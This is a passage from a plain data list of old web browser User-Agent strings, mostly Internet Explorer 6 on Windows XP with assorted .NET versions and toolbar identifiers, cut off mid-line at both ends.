CLR 2.0.50727; InfoPath.2; Alexa Toolbar; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 6.0.3.20663)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 6.2.0.22177)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 6.3.3.22929)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD TOOLBAR 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.427.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; SiteKiosk 6.2 Build 51)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.65.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Alexa Toolbar; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Alexa Toolbar; TencentTraveler 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Crazy Browser 2.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Crazy Browser 2.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; Alexa Toolbar) (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; Alexa Toolbar) (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; FDM; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.0; Crazy Browser 2.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.3; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; HbTools 4.7.7)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50215; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Avalon 6.0.5070; WinFX RunTime 3.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Lunascape 3.0.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Seekmo 10.0.345.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Seekmo 10.0.370.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Sleipnir/2.9.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Tablet PC 1.7; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; Windows-Media-Player/10.00.00.3990; SpamBlockerUtility 4.8.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Sleipnir/2.9.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; Sleipnir/2.9.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; PeoplePal 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; PeoplePal 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; PeoplePal 3.0; PeoplePal 6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; PeoplePal 6.1; PeoplePal 6.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; PeoplePal 6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Seekmo 10.0.275.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Seekmo 10.0.345.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Seekmo 10.0.370.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Seekmo 10.0.406.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Seekmo 10.0.424.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Seekmo 10.0.431.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; SiteKiosk 6.0 Build 98)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; SiteKiosk 6.0 Build 98; SiteCoach 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; SpamBlockerUtility 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; SpamBlockerUtility 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Tablet PC 1.7; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Zango 10.0.314.0; .NET CLR 2.0.50727; Seekmo 10.0.370.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.40607; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.40607; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.40607; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.40607; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.41115; .NET CLR 1.1.4322; .NET CLR 2.0.50215; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50110; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50215; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50215; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 2.0.50215; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR.3.0.04131.06)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Sleipnir/2.9.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Seekmo 10.0.341.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04324.17; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3; TheWorld)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; TheWorld)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; AskTbUT2V5/5.8.0.12304; TheWorld)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; FDM; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.1; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; Lunascape 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; Lunascape 5.0 alpha3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; Lunascape 5.0.5.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; Lunascape 6.2.0.22177)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MEGAUPLOAD 1.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 3.4.32577; SLCC2; Media Center PC 3.4; Zune 3.4; Tablet PC 3.32577; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR SV.4.0.329; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Advanced Searchbar 3.24; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Advanced Searchbar 3.24; EmbeddedWB 14.5 from: http://www.bsalsa.com/ EmbeddedWB 14.5; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Advanced Searchbar 3.25)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Advanced Searchbar; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Advanced Searchbar; .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Advanced Searchbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; Crazy Browser 2.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AskTB5.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Avant Browser)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 